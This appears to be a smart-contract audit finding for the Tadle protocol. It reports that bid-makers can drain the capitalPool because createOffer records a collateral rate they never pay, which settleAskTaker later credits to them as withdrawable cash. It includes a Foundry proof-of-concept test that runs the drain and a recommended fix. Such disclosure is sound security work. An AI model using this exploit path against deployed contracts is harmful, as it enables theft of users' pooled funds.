Summary
Any bid-makers can drain the whole capitalPool by assigning themselves high collateral
Vulnerability Details
The bid-makers shouldn't provide collaterals to create an offer and the protocol should charge them to only transfer in the amount of the params.amount.
{
uint256 transferAmount = OfferLibraries.getDepositAmount(
params.offerType,
params.collateralRate,
params.amount,
true,
Math.Rounding.Ceil
);
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(
_msgSender(),
params.tokenAddress,
transferAmount,
false
);
}
function getDepositAmount(
OfferType _offerType,
uint256 _collateralRate,
uint256 _amount,
bool _isMaker,
Math.Rounding _rounding
) internal pure returns (uint256) {
if (_offerType == OfferType.Bid && _isMaker) {
return _amount;
}
if (_offerType == OfferType.Ask && !_isMaker) {
return _amount;
}
return
Math.mulDiv(
_amount,
_collateralRate,
Constants.COLLATERAL_RATE_DECIMAL_SCALER,
_rounding
);
}
However, the createOffer function still assigns the params.collateralRate to the OfferInfo.collateral for the bid-makers which it shouldn't cause they just transferred in the amount of params.amount not the params.amount * params.collateralRate
offerInfoMap[offerAddr] = OfferInfo({
id: offerId,
authority: _msgSender(),
maker: makerAddr,
offerStatus: OfferStatus.Virgin,
offerType: params.offerType,
points: params.points,
amount: params.amount,
>>> collateralRate: params.collateralRate,
abortOfferStatus: AbortOfferStatus.Initialized,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
This issue will let the bid-makers drain the capitalPool by simply calling the DeliveryPlace::settleAskTaker after the updated market
uint256 collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
stockInfo.amount,
false,
Math.Rounding.Floor
);
if (_settledPoints == stockInfo.points) {
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
>>> collateralFee
);
}
they could provide a high coll without paying it and the protocol assigns them collateralFee as remaining cash which they could simply withdraw, leading to loss of funds
this test demonstrates the attack path by adding it to the PreMarkets.t.sol:
function test_bidMakersDrainCapitalPool() public {
deal(address(mockUSDCToken), address(capitalPool), 10 ether);
address _offer1 = GenerateAddress.generateOfferAddress(0);
address _stock2 = GenerateAddress.generateStockAddress(1);
uint256 userUSDCBalBef = mockUSDCToken.balanceOf(user);
uint256 capitalPoolUSDCBalBef = mockUSDCToken.balanceOf(address(capitalPool));
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
1e7,
300,
OfferType.Bid,
OfferSettleType.Protected
));
vm.prank(user2);
preMarktes.createTaker(_offer1, 1000);
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskTaker(_stock2, 1000);
vm.stopPrank();
uint256 remainingCashOfBidMaker = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
assertEq(remainingCashOfBidMaker, 10 ether);
}
Impact
bid-makers can drain the whole capitalPool by providing a high collateral without paying for it
Tools Used
manual review
Recommendations
In the PreMarkets::createOffer() function, you must put the collateral 0 when updating the offerInfo on bid mode:
offerInfoMap[offerAddr] = OfferInfo({
id: offerId,
authority: _msgSender(),
maker: makerAddr,
offerStatus: OfferStatus.Virgin,
offerType: params.offerType,
points: params.points,
amount: params.amount,
+ collateralRate: params.offerType == OfferType.Bid
? 0
: params.collateralRate,
abortOfferStatus: AbortOfferStatus.Initialized,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
